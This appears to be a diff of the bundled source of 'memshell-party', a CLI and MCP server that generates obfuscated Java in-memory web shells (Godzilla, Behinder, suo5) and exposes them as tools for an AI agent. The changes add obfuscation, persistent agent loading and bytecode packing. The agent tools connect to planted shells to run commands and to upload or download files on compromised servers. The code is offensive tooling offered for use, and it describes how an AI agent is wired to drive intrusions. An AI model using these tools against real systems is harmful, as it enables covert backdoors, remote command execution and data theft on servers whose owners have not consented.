`local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
|
|
4127
4713
|
);
|
|
4128
4714
|
}
|
|
4129
|
-
return
|
|
4715
|
+
return readFileSync9(localPath);
|
|
4130
4716
|
}
|
|
4131
4717
|
|
|
4132
4718
|
// src/version.ts
|
|
@@ -4159,13 +4745,20 @@ var memShellInput = {
|
|
|
4159
4745
|
shellTool: z.string().describe("Shell tool, e.g. Godzilla, Behinder, Command"),
|
|
4160
4746
|
shellType: z.string().describe("Shell type, e.g. Listener, Filter, Servlet"),
|
|
4161
4747
|
packer: z.string().describe("Packer, e.g. Base64, Jar, JSP"),
|
|
4162
|
-
jdk: z.string().optional().describe("java6/8/9/11/17/21 or class-file major version"),
|
|
4748
|
+
jdk: z.string().optional().describe("java6/8/9/11/17/21/25 or class-file major version"),
|
|
4163
4749
|
debug: z.boolean().optional(),
|
|
4164
4750
|
byPassJavaModule: z.boolean().optional(),
|
|
4165
4751
|
shrink: z.boolean().optional(),
|
|
4166
4752
|
lambdaSuffix: z.boolean().optional(),
|
|
4167
4753
|
probe: z.boolean().optional(),
|
|
4754
|
+
obfuscate: z.boolean().optional(),
|
|
4755
|
+
obfuscationOptions: z.string().optional().describe("obfuscation overrides: key=value, comma-separated"),
|
|
4756
|
+
obfuscationScope: z.enum(["ALL", "MEMSHELL_INJECTOR", "INJECTOR", "MEMSHELL"]).optional(),
|
|
4168
4757
|
shellClassName: z.string().optional(),
|
|
4758
|
+
toolOptions: z.record(z.union([z.string(), z.record(z.unknown())])).optional().describe(
|
|
4759
|
+
"Additional shell-tool fields from list_shell_tool_configs, including plugin fields. String/enum fields use strings; v3.1+ object fields use JSON objects. These override matching built-in convenience arguments."
|
|
4760
|
+
),
|
|
4761
|
+
toolOptionJson: z.record(z.string()).optional().describe("String-encoded shell-tool fields (name -> value); object fields contain JSON text."),
|
|
4169
4762
|
godzillaPass: z.string().optional(),
|
|
4170
4763
|
godzillaKey: z.string().optional(),
|
|
4171
4764
|
behinderPass: z.string().optional(),
|
|
@@ -4180,19 +4773,22 @@ var memShellInput = {
|
|
|
4180
4773
|
urlPattern: z.string().optional(),
|
|
4181
4774
|
injectorClassName: z.string().optional(),
|
|
4182
4775
|
staticInitialize: z.boolean().optional(),
|
|
4776
|
+
agentArgs: z.string().optional().describe("Agent load-time arguments (persist=true / restore=true); not sent to the generate API"),
|
|
4183
4777
|
outputFile: z.string().optional().describe(
|
|
4184
4778
|
"also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
|
|
4185
4779
|
)
|
|
4186
4780
|
};
|
|
4187
4781
|
var probeInput = {
|
|
4188
|
-
probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
|
|
4189
|
-
probeContent: z.string().describe("
|
|
4782
|
+
probeMethod: z.enum(["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"]),
|
|
4783
|
+
probeContent: z.string().describe("Server, JDK, Bytecode, Command, ScriptEngine, Filter"),
|
|
4190
4784
|
packer: z.string(),
|
|
4191
4785
|
jdk: z.string().optional(),
|
|
4192
4786
|
debug: z.boolean().optional(),
|
|
4193
4787
|
byPassJavaModule: z.boolean().optional(),
|
|
4194
4788
|
shrink: z.boolean().optional(),
|
|
4195
4789
|
lambdaSuffix: z.boolean().optional(),
|
|
4790
|
+
obfuscate: z.boolean().optional(),
|
|
4791
|
+
obfuscationOptions: memShellInput.obfuscationOptions,
|
|
4196
4792
|
staticInitialize: z.boolean().optional(),
|
|
4197
4793
|
shellClassName: z.string().optional(),
|
|
4198
4794
|
host: z.string().optional(),
|
|
@@ -4201,8 +4797,31 @@ var probeInput = {
|
|
|
4201
4797
|
server: z.string().optional(),
|
|
4202
4798
|
reqParamName: z.string().optional(),
|
|
4203
4799
|
commandTemplate: z.string().optional(),
|
|
4800
|
+
respHeaderName: z.string().optional(),
|
|
4204
4801
|
outputFile: memShellInput.outputFile
|
|
4205
4802
|
};
|
|
4803
|
+
var bytecodeInput = {
|
|
4804
|
+
classBytesBase64: z.string().describe("Base64 or GzipBase64 class bytes"),
|
|
4805
|
+
outputFile: z.string().optional().describe("also write the transformed class to this local file")
|
|
4806
|
+
};
|
|
4807
|
+
var bytecodeTransformInput = {
|
|
4808
|
+
...bytecodeInput,
|
|
4809
|
+
packer: z.string().optional(),
|
|
4810
|
+
byPassJavaModule: z.boolean().optional(),
|
|
4811
|
+
staticInitialize: z.boolean().optional(),
|
|
4812
|
+
shrink: z.boolean().optional(),
|
|
4813
|
+
renamePackage: z.boolean().optional(),
|
|
4814
|
+
relocateFrom: z.string().optional(),
|
|
4815
|
+
relocateTo: z.string().optional(),
|
|
4816
|
+
entryMethod: z.string().optional(),
|
|
4817
|
+
newClassName: z.string().optional(),
|
|
4818
|
+
randomName: z.boolean().optional(),
|
|
4819
|
+
obfuscate: z.boolean().optional(),
|
|
4820
|
+
obfuscationOptions: memShellInput.obfuscationOptions,
|
|
4821
|
+
server: z.string().optional(),
|
|
4822
|
+
probeMethod: z.enum(["ResponseBody", "ResponseHeader"]).optional(),
|
|
4823
|
+
respHeaderName: z.string().optional()
|
|
4824
|
+
};
|
|
4206
4825
|
var connectInput = {
|
|
4207
4826
|
name: z.string().optional().describe(
|
|
4208
4827
|
"saved target reference (<project>/<shell>, or a bare project holding exactly one shell) \u2014 when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)"
|
|
@@ -4215,7 +4834,8 @@ var connectInput = {
|
|
|
4215
4834
|
headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
|
|
4216
4835
|
suo5Mode: z.enum(["auto", "v2", "v1"]).optional().describe("suo5 protocol variant (default: auto)"),
|
|
4217
4836
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
4218
|
-
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
|
|
4837
|
+
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
|
|
4838
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
|
|
4219
4839
|
};
|
|
4220
4840
|
var execInput = {
|
|
4221
4841
|
name: z.string().optional().describe(
|
|
@@ -4232,7 +4852,8 @@ var execInput = {
|
|
|
4232
4852
|
headerName: z.string().optional().describe("gate header name from generate_memshell shellToolConfig (usually User-Agent)"),
|
|
4233
4853
|
headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
|
|
4234
4854
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
4235
|
-
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
|
|
4855
|
+
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
|
|
4856
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
|
|
4236
4857
|
};
|
|
4237
4858
|
var transferConnInput = {
|
|
4238
4859
|
name: execInput.name,
|
|
@@ -4244,6 +4865,7 @@ var transferConnInput = {
|
|
|
4244
4865
|
headerValue: execInput.headerValue,
|
|
4245
4866
|
insecure: execInput.insecure,
|
|
4246
4867
|
timeoutMs: execInput.timeoutMs,
|
|
4868
|
+
upgradeProtocol: execInput.upgradeProtocol,
|
|
4247
4869
|
remoteCharset: z.string().optional().describe(
|
|
4248
4870
|
"godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)"
|
|
4249
4871
|
)
|
|
@@ -4271,12 +4893,82 @@ var targetSaveInput = {
|
|
|
4271
4893
|
headerName: z.string().optional().describe("gate header name (shellToolConfig.headerName)"),
|
|
4272
4894
|
headerValue: z.string().optional().describe("gate header value (shellToolConfig.headerValue)"),
|
|
4273
4895
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
4896
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name"),
|
|
4274
4897
|
projectRemark: z.string().optional().describe("project remark (merged into the project)"),
|
|
4275
4898
|
projectCategory: z.string().optional().describe("project category (merged into the project)"),
|
|
4276
4899
|
shellRemark: z.string().optional().describe("remark for this shell")
|
|
4277
4900
|
};
|
|
4278
4901
|
function createMcpServer(client) {
|
|
4279
4902
|
const server = new McpServer({ name: "memshell-party", version: CLI_VERSION });
|
|
4903
|
+
server.registerTool(
|
|
4904
|
+
"bytecode_decode",
|
|
4905
|
+
{
|
|
4906
|
+
title: "Decode Java class",
|
|
4907
|
+
description: "Decode Base64/GzipBase64 class bytes and return class metadata (MemShellParty v3+).",
|
|
4908
|
+
inputSchema: bytecodeInput
|
|
4909
|
+
},
|
|
4910
|
+
async (args) => {
|
|
4911
|
+
try {
|
|
4912
|
+
const result = await client.decodeBytecode(args.classBytesBase64);
|
|
4913
|
+
const outputFile = args.outputFile === void 0 ? void 0 : emitSinglePackResult(
|
|
4914
|
+
{ packResult: result.classBytesBase64Str },
|
|
4915
|
+
{ outFile: args.outputFile, decode: true }
|
|
4916
|
+
);
|
|
4917
|
+
return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
|
|
4918
|
+
} catch (err) {
|
|
4919
|
+
return errorContent(err);
|
|
4920
|
+
}
|
|
4921
|
+
}
|
|
4922
|
+
);
|
|
4923
|
+
server.registerTool(
|
|
4924
|
+
"bytecode_transform",
|
|
4925
|
+
{
|
|
4926
|
+
title: "Transform Java class",
|
|
4927
|
+
description: "Rename, relocate, instrument, obfuscate or pack a Java class (MemShellParty v3+).",
|
|
4928
|
+
inputSchema: bytecodeTransformInput
|
|
4929
|
+
},
|
|
4930
|
+
async (args) => {
|
|
4931
|
+
try {
|
|
4932
|
+
const renamePackage = args.renamePackage || args.relocateFrom !== void 0 || args.relocateTo !== void 0;
|
|
4933
|
+
if (renamePackage && (!args.relocateFrom || !args.relocateTo)) {
|
|
4934
|
+
throw new Error("Package relocation requires relocateFrom and relocateTo.");
|
|
4935
|
+
}
|
|
4936
|
+
const {
|
|
4937
|
+
outputFile: outputPath,
|
|
4938
|
+
obfuscate: _obfuscate,
|
|
4939
|
+
obfuscationOptions,
|
|
4940
|
+
probeMethod,
|
|
4941
|
+
server: server2,
|
|
4942
|
+
respHeaderName,
|
|
4943
|
+
...fields
|
|
4944
|
+
} = args;
|
|
4945
|
+
const request = {
|
|
4946
|
+
obfuscation: args.obfuscate || args.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(args.obfuscationOptions) } : void 0,
|
|
4947
|
+
...probeMethod === void 0 ? {} : {
|
|
4948
|
+
server: server2 ?? "Unknown",
|
|
4949
|
+
probe: {
|
|
4950
|
+
probeMethod,
|
|
4951
|
+
probeContent: "Bytecode",
|
|
4952
|
+
respHeaderName
|
|
4953
|
+
}
|
|
4954
|
+
}
|
|
4955
|
+
};
|
|
4956
|
+
const result = await client.transformBytecode({
|
|
4957
|
+
classBytesBase64: args.classBytesBase64,
|
|
4958
|
+
...Object.fromEntries(Object.entries(fields).filter(([, value]) => value !== void 0)),
|
|
4959
|
+
...renamePackage ? { renamePackage } : {},
|
|
4960
|
+
...request
|
|
4961
|
+
});
|
|
4962
|
+
const outputFile = outputPath === void 0 ? void 0 : emitSinglePackResult(
|
|
4963
|
+
{ packResult: result.packResult ?? result.classBytesBase64Str },
|
|
4964
|
+
{ outFile: outputPath, decode: result.packResult === void 0 || void 0 }
|
|
4965
|
+
);
|
|
4966
|
+
return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
|
|
4967
|
+
} catch (err) {
|
|
4968
|
+
return errorContent(err);
|
|
4969
|
+
}
|
|
4970
|
+
}
|
|
4971
|
+
);
|
|
4280
4972
|
server.registerTool(
|
|
4281
4973
|
"list_servers",
|
|
4282
4974
|
{ title: "List servers", description: "List supported servers and their shell types" },
|
|
@@ -4327,6 +5019,78 @@ function createMcpServer(client) {
|
|
|
4327
5019
|
}
|
|
4328
5020
|
}
|
|
4329
5021
|
);
|
|
5022
|
+
server.registerTool(
|
|
5023
|
+
"list_shell_tool_configs",
|
|
5024
|
+
{
|
|
5025
|
+
title: "List shell tool configs",
|
|
5026
|
+
description: "List v3 shell tool parameter names, types, enum choices and groups. An empty list means the backend uses the legacy v2 API."
|
|
5027
|
+
},
|
|
5028
|
+
async () => {
|
|
5029
|
+
try {
|
|
5030
|
+
return jsonContent(await client.getShellToolConfigs());
|
|
5031
|
+
} catch (err) {
|
|
5032
|
+
return errorContent(err);
|
|
5033
|
+
}
|
|
5034
|
+
}
|
|
5035
|
+
);
|
|
5036
|
+
server.registerTool(
|
|
5037
|
+
"list_plugins",
|
|
5038
|
+
{
|
|
5039
|
+
title: "List external plugins",
|
|
5040
|
+
description: "List v3.1+ external plugin metadata, SPI services, load status and load errors. An empty list means no plugins or a backend older than v3.1."
|
|
5041
|
+
},
|
|
5042
|
+
async () => {
|
|
5043
|
+
try {
|
|
5044
|
+
return jsonContent(await client.getPlugins());
|
|
5045
|
+
} catch (err) {
|
|
5046
|
+
return errorContent(err);
|
|
5047
|
+
}
|
|
5048
|
+
}
|
|
5049
|
+
);
|
|
5050
|
+
server.registerTool(
|
|
5051
|
+
"list_remote_options",
|
|
5052
|
+
{
|
|
5053
|
+
title: "Resolve remote shell tool options",
|
|
5054
|
+
description: "Fetch and normalize a v3.1 remote-select field. Returns labels and string IDs or complete objects ready to pass to generate_memshell toolOptions.",
|
|
5055
|
+
inputSchema: {
|
|
5056
|
+
tool: z.string(),
|
|
5057
|
+
param: z.string(),
|
|
5058
|
+
url: z.string().optional().describe("Remote HTTP(S) endpoint; falls back to the urlQueryParam environment variable."),
|
|
5059
|
+
object: z.boolean().optional().describe("Override object mode; normally inferred from the field type.")
|
|
5060
|
+
}
|
|
5061
|
+
},
|
|
5062
|
+
async (args) => {
|
|
5063
|
+
try {
|
|
5064
|
+
const descriptor = (await client.getShellToolConfigs()).find((config) => config.tool === args.tool);
|
|
5065
|
+
const param = descriptor?.params.find((candidate) => candidate.name === args.param);
|
|
5066
|
+
if (!param?.ui || param.ui.kind !== "remote-select") {
|
|
5067
|
+
throw new Error(`${args.tool}.${args.param} is not a remote-select shell tool option.`);
|
|
5068
|
+
}
|
|
5069
|
+
const sourceUrl = args.url ?? process.env[param.ui.urlQueryParam];
|
|
5070
|
+
if (!sourceUrl) {
|
|
5071
|
+
throw new Error(`Provide url or set the ${param.ui.urlQueryParam} environment variable.`);
|
|
5072
|
+
}
|
|
5073
|
+
const options = await fetchRemoteOptions(sourceUrl, param.ui, args.object ?? param.type === "object");
|
|
5074
|
+
return jsonContent({ tool: args.tool, param: args.param, sourceUrl, options });
|
|
5075
|
+
} catch (err) {
|
|
5076
|
+
return errorContent(err);
|
|
5077
|
+
}
|
|
5078
|
+
}
|
|
5079
|
+
);
|
|
5080
|
+
server.registerTool(
|
|
5081
|
+
"list_obfuscation_options",
|
|
5082
|
+
{
|
|
5083
|
+
title: "List obfuscation options",
|
|
5084
|
+
description: "List class obfuscation option keys, defaults and valid values (v3+)"
|
|
5085
|
+
},
|
|
5086
|
+
async () => {
|
|
5087
|
+
try {
|
|
5088
|
+
return jsonContent(await client.getObfuscationOptions());
|
|
5089
|
+
} catch (err) {
|
|
5090
|
+
return errorContent(err);
|
|
5091
|
+
}
|
|
5092
|
+
}
|
|
5093
|
+
);
|
|
4330
5094
|
server.registerTool(
|
|
4331
5095
|
"generate_memshell",
|
|
4332
5096
|
{
|
|
@@ -4345,7 +5109,29 @@ function createMcpServer(client) {
|
|
|
4345
5109
|
};
|
|
4346
5110
|
const started = Date.now();
|
|
4347
5111
|
try {
|
|
4348
|
-
|
|
5112
|
+
if (args.agentArgs !== void 0 && !supportsAgentLoadArguments(args.shellType, args.packer)) {
|
|
5113
|
+
throw new Error(
|
|
5114
|
+
"agentArgs requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
|
|
5115
|
+
);
|
|
5116
|
+
}
|
|
5117
|
+
const hasPluginOptions = args.toolOptions !== void 0 || args.toolOptionJson !== void 0;
|
|
5118
|
+
const toolConfigs = hasPluginOptions ? await client.getShellToolConfigs() : [];
|
|
5119
|
+
const shellToolParams = hasPluginOptions ? toolConfigs.find((config) => config.tool === args.shellTool)?.params : void 0;
|
|
5120
|
+
const shellToolConfig = {
|
|
5121
|
+
...args.toolOptions,
|
|
5122
|
+
...parseShellToolConfig(
|
|
5123
|
+
Object.entries(args.toolOptionJson ?? {}).map(([name, value]) => `${name}=${value}`),
|
|
5124
|
+
shellToolParams
|
|
5125
|
+
)
|
|
5126
|
+
};
|
|
5127
|
+
const response = await client.generateMemShell(
|
|
5128
|
+
buildMemShellRequest({
|
|
5129
|
+
...args,
|
|
5130
|
+
shellToolConfig: hasPluginOptions ? shellToolConfig : void 0,
|
|
5131
|
+
shellToolParams,
|
|
5132
|
+
obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
|
|
5133
|
+
})
|
|
5134
|
+
);
|
|
4349
5135
|
const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
|
|
4350
5136
|
logOp({
|
|
4351
5137
|
category: "gen",
|
|
@@ -4355,7 +5141,14 @@ function createMcpServer(client) {
|
|
|
4355
5141
|
detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
|
|
4356
5142
|
meta
|
|
4357
5143
|
});
|
|
4358
|
-
return jsonContent(
|
|
5144
|
+
return jsonContent({
|
|
5145
|
+
...response,
|
|
5146
|
+
...outputFile === void 0 ? {} : { outputFile },
|
|
5147
|
+
...args.agentArgs === void 0 ? {} : {
|
|
5148
|
+
agentArgs: args.agentArgs,
|
|
5149
|
+
agentLoadExamples: agentLoadExamples(args.agentArgs)
|
|
5150
|
+
}
|
|
5151
|
+
});
|
|
4359
5152
|
} catch (err) {
|
|
4360
5153
|
logOp({
|
|
4361
5154
|
category: "gen",
|
|
@@ -4385,7 +5178,12 @@ function createMcpServer(client) {
|
|
|
4385
5178
|
};
|
|
4386
5179
|
const started = Date.now();
|
|
4387
5180
|
try {
|
|
4388
|
-
const response = await client.generateProbe(
|
|
5181
|
+
const response = await client.generateProbe(
|
|
5182
|
+
buildProbeRequest({
|
|
5183
|
+
...args,
|
|
5184
|
+
obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
|
|
5185
|
+
})
|
|
5186
|
+
);
|
|
4389
5187
|
const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
|
|
4390
5188
|
logOp({
|
|
4391
5189
|
category: "probe",
|
|
@@ -4451,29 +5249,19 @@ function createMcpServer(client) {
|
|
|
4451
5249
|
key: args.key,
|
|
4452
5250
|
headerName: args.headerName,
|
|
4453
5251
|
headerValue: args.headerValue,
|
|
4454
|
-
insecure: args.insecure
|
|
5252
|
+
insecure: args.insecure,
|
|
5253
|
+
upgradeProtocol: args.upgradeProtocol
|
|
4455
5254
|
});
|
|
4456
5255
|
const common = {
|
|
4457
5256
|
headerName: conn.headerName,
|
|
4458
5257
|
headerValue: conn.headerValue,
|
|
4459
5258
|
extraHeaders: conn.extraHeaders,
|
|
4460
5259
|
timeoutMs: args.timeoutMs,
|
|
4461
|
-
insecure: conn.insecure
|
|
5260
|
+
insecure: conn.insecure,
|
|
5261
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
4462
5262
|
};
|
|
4463
|
-
|
|
4464
|
-
|
|
4465
|
-
case "godzilla":
|
|
4466
|
-
result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
|
|
4467
|
-
break;
|
|
4468
|
-
case "behinder":
|
|
4469
|
-
result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
|
|
4470
|
-
break;
|
|
4471
|
-
case "suo5":
|
|
4472
|
-
result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });
|
|
4473
|
-
break;
|
|
4474
|
-
default:
|
|
4475
|
-
throw new Error(`unknown tool ${String(conn.tool)}`);
|
|
4476
|
-
}
|
|
5263
|
+
const options = { suo5Mode: args.suo5Mode };
|
|
5264
|
+
const result = await requireProtocol(conn.tool).test({ conn, common, options });
|
|
4477
5265
|
let savedAs;
|
|
4478
5266
|
if (result.ok && conn.targetName === void 0) {
|
|
4479
5267
|
savedAs = autoSaveShell(conn);
|
|
@@ -4512,32 +5300,20 @@ function createMcpServer(client) {
|
|
|
4512
5300
|
key: args.key,
|
|
4513
5301
|
headerName: args.headerName,
|
|
4514
5302
|
headerValue: args.headerValue,
|
|
4515
|
-
insecure: args.insecure
|
|
5303
|
+
insecure: args.insecure,
|
|
5304
|
+
upgradeProtocol: args.upgradeProtocol
|
|
4516
5305
|
});
|
|
4517
5306
|
const common = {
|
|
4518
5307
|
headerName: conn.headerName,
|
|
4519
5308
|
headerValue: conn.headerValue,
|
|
4520
5309
|
extraHeaders: conn.extraHeaders,
|
|
4521
5310
|
timeoutMs: args.timeoutMs,
|
|
4522
|
-
insecure: conn.insecure
|
|
5311
|
+
insecure: conn.insecure,
|
|
5312
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
4523
5313
|
};
|
|
4524
|
-
|
|
4525
|
-
|
|
4526
|
-
|
|
4527
|
-
result = await execGodzilla(
|
|
4528
|
-
conn.url,
|
|
4529
|
-
conn.pass ?? "pass",
|
|
4530
|
-
conn.key ?? "key",
|
|
4531
|
-
args.command,
|
|
4532
|
-
{ ...common, os: args.os }
|
|
4533
|
-
);
|
|
4534
|
-
break;
|
|
4535
|
-
case "behinder":
|
|
4536
|
-
result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common);
|
|
4537
|
-
break;
|
|
4538
|
-
default:
|
|
4539
|
-
throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
4540
|
-
}
|
|
5314
|
+
const protocol = requireProtocol(conn.tool);
|
|
5315
|
+
if (!protocol.exec) throw new Error(unsupportedMessage(protocol, "exec"));
|
|
5316
|
+
const result = await protocol.exec({ conn, common, options: { os: args.os } }, args.command);
|
|
4541
5317
|
let savedAs;
|
|
4542
5318
|
if (result.ok && conn.targetName === void 0) {
|
|
4543
5319
|
savedAs = autoSaveShell(conn);
|
|
@@ -4579,38 +5355,24 @@ function createMcpServer(client) {
|
|
|
4579
5355
|
key: args.key,
|
|
4580
5356
|
headerName: args.headerName,
|
|
4581
5357
|
headerValue: args.headerValue,
|
|
4582
|
-
insecure: args.insecure
|
|
5358
|
+
insecure: args.insecure,
|
|
5359
|
+
upgradeProtocol: args.upgradeProtocol
|
|
4583
5360
|
});
|
|
4584
5361
|
const common = {
|
|
4585
5362
|
headerName: conn.headerName,
|
|
4586
5363
|
headerValue: conn.headerValue,
|
|
4587
5364
|
extraHeaders: conn.extraHeaders,
|
|
4588
5365
|
timeoutMs: args.timeoutMs,
|
|
4589
|
-
insecure: conn.insecure
|
|
5366
|
+
insecure: conn.insecure,
|
|
5367
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
4590
5368
|
};
|
|
4591
5369
|
const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false);
|
|
4592
|
-
|
|
4593
|
-
|
|
4594
|
-
|
|
4595
|
-
|
|
4596
|
-
|
|
4597
|
-
|
|
4598
|
-
conn.key ?? "key",
|
|
4599
|
-
args.remotePath,
|
|
4600
|
-
{ ...common, remoteCharset: args.remoteCharset }
|
|
4601
|
-
);
|
|
4602
|
-
break;
|
|
4603
|
-
case "behinder":
|
|
4604
|
-
result = await downloadBehinder(
|
|
4605
|
-
conn.url,
|
|
4606
|
-
conn.pass ?? "rebeyond",
|
|
4607
|
-
args.remotePath,
|
|
4608
|
-
common
|
|
4609
|
-
);
|
|
4610
|
-
break;
|
|
4611
|
-
default:
|
|
4612
|
-
throw new Error(`download supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
4613
|
-
}
|
|
5370
|
+
const protocol = requireProtocol(conn.tool);
|
|
5371
|
+
if (!protocol.download) throw new Error(unsupportedMessage(protocol, "download"));
|
|
5372
|
+
let result = await protocol.download(
|
|
5373
|
+
{ conn, common, options: { remoteCharset: args.remoteCharset } },
|
|
5374
|
+
args.remotePath
|
|
5375
|
+
);
|
|
4614
5376
|
if (result.ok && result.data !== void 0) {
|
|
4615
5377
|
try {
|
|
4616
5378
|
writeFileSync5(localPath, result.data);
|
|
@@ -4662,40 +5424,25 @@ function createMcpServer(client) {
|
|
|
4662
5424
|
key: args.key,
|
|
4663
5425
|
headerName: args.headerName,
|
|
4664
5426
|
headerValue: args.headerValue,
|
|
4665
|
-
insecure: args.insecure
|
|
5427
|
+
insecure: args.insecure,
|
|
5428
|
+
upgradeProtocol: args.upgradeProtocol
|
|
4666
5429
|
});
|
|
4667
5430
|
const common = {
|
|
4668
5431
|
headerName: conn.headerName,
|
|
4669
5432
|
headerValue: conn.headerValue,
|
|
4670
5433
|
extraHeaders: conn.extraHeaders,
|
|
4671
5434
|
timeoutMs: args.timeoutMs,
|
|
4672
|
-
insecure: conn.insecure
|
|
5435
|
+
insecure: conn.insecure,
|
|
5436
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
4673
5437
|
};
|
|
4674
5438
|
const data = readUploadFile(args.localPath);
|
|
4675
|
-
|
|
4676
|
-
|
|
4677
|
-
|
|
4678
|
-
|
|
4679
|
-
|
|
4680
|
-
|
|
4681
|
-
|
|
4682
|
-
args.remotePath,
|
|
4683
|
-
data,
|
|
4684
|
-
{ ...common, remoteCharset: args.remoteCharset }
|
|
4685
|
-
);
|
|
4686
|
-
break;
|
|
4687
|
-
case "behinder":
|
|
4688
|
-
result = await uploadBehinder(
|
|
4689
|
-
conn.url,
|
|
4690
|
-
conn.pass ?? "rebeyond",
|
|
4691
|
-
args.remotePath,
|
|
4692
|
-
data,
|
|
4693
|
-
common
|
|
4694
|
-
);
|
|
4695
|
-
break;
|
|
4696
|
-
default:
|
|
4697
|
-
throw new Error(`upload supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
4698
|
-
}
|
|
5439
|
+
const protocol = requireProtocol(conn.tool);
|
|
5440
|
+
if (!protocol.upload) throw new Error(unsupportedMessage(protocol, "upload"));
|
|
5441
|
+
const result = await protocol.upload(
|
|
5442
|
+
{ conn, common, options: { remoteCharset: args.remoteCharset } },
|
|
5443
|
+
args.remotePath,
|
|
5444
|
+
data
|
|
5445
|
+
);
|
|
4699
5446
|
let savedAs;
|
|
4700
5447
|
if (result.ok && conn.targetName === void 0) {
|
|
4701
5448
|
savedAs = autoSaveShell(conn);
|
|
@@ -4742,6 +5489,7 @@ function createMcpServer(client) {
|
|
|
4742
5489
|
headerName: args.headerName,
|
|
4743
5490
|
headerValue: args.headerValue,
|
|
4744
5491
|
insecure: args.insecure,
|
|
5492
|
+
upgradeProtocol: args.upgradeProtocol,
|
|
4745
5493
|
remark: args.shellRemark
|
|
4746
5494
|
});
|
|
4747
5495
|
logOp({
|
|
@@ -4906,7 +5654,7 @@ function registerMcpCommand(program) {
|
|
|
4906
5654
|
}
|
|
4907
5655
|
|
|
4908
5656
|
// src/commands/parse-classname.ts
|
|
4909
|
-
import { readFileSync as
|
|
5657
|
+
import { readFileSync as readFileSync10 } from "fs";
|
|
4910
5658
|
function registerParseClassNameCommand(program) {
|
|
4911
5659
|
program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
|
|
4912
5660
|
"after",
|
|
@@ -4919,7 +5667,7 @@ Examples:
|
|
|
4919
5667
|
).action(async (base64, opts, cmd) => {
|
|
4920
5668
|
let classBase64;
|
|
4921
5669
|
if (opts.file) {
|
|
4922
|
-
classBase64 =
|
|
5670
|
+
classBase64 = readFileSync10(opts.file).toString("base64");
|
|
4923
5671
|
} else if (base64) {
|
|
4924
5672
|
classBase64 = base64.trim();
|
|
4925
5673
|
} else {
|
|
@@ -4933,7 +5681,7 @@ Examples:
|
|
|
4933
5681
|
}
|
|
4934
5682
|
|
|
4935
5683
|
// src/commands/probe.ts
|
|
4936
|
-
import { Option as
|
|
5684
|
+
import { Option as Option6 } from "commander";
|
|
4937
5685
|
|
|
4938
5686
|
// src/wizard/probe-wizard.ts
|
|
4939
5687
|
import { checkbox as checkbox2, confirm as confirm2, input as input2, select as select2 } from "@inquirer/prompts";
|
|
@@ -4941,26 +5689,40 @@ var JDK_CHOICES2 = [
|
|
|
4941
5689
|
{ name: "server default", value: "" },
|
|
4942
5690
|
...Object.entries(JDK_VERSIONS).map(([name, major]) => ({ name: `${name} (${major})`, value: name }))
|
|
4943
5691
|
];
|
|
4944
|
-
var PROBE_METHODS = ["ResponseBody", "DNSLog", "Sleep"];
|
|
4945
|
-
var PROBE_CONTENTS =
|
|
5692
|
+
var PROBE_METHODS = ["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"];
|
|
5693
|
+
var PROBE_CONTENTS = {
|
|
5694
|
+
ResponseBody: ["Server", "Command", "Bytecode", "ScriptEngine", "Filter"],
|
|
5695
|
+
ResponseHeader: ["Server", "Command", "Bytecode", "ScriptEngine", "Filter"],
|
|
5696
|
+
DNSLog: ["Server", "JDK"],
|
|
5697
|
+
Sleep: ["Server"]
|
|
5698
|
+
};
|
|
4946
5699
|
async function runProbeWizard(client) {
|
|
4947
|
-
const [
|
|
4948
|
-
|
|
5700
|
+
const [packerTree, discoveredServers, config] = await Promise.all([
|
|
5701
|
+
client.getPackerTree(),
|
|
5702
|
+
client.getProbeResponseServers(),
|
|
5703
|
+
client.getConfig()
|
|
5704
|
+
]);
|
|
5705
|
+
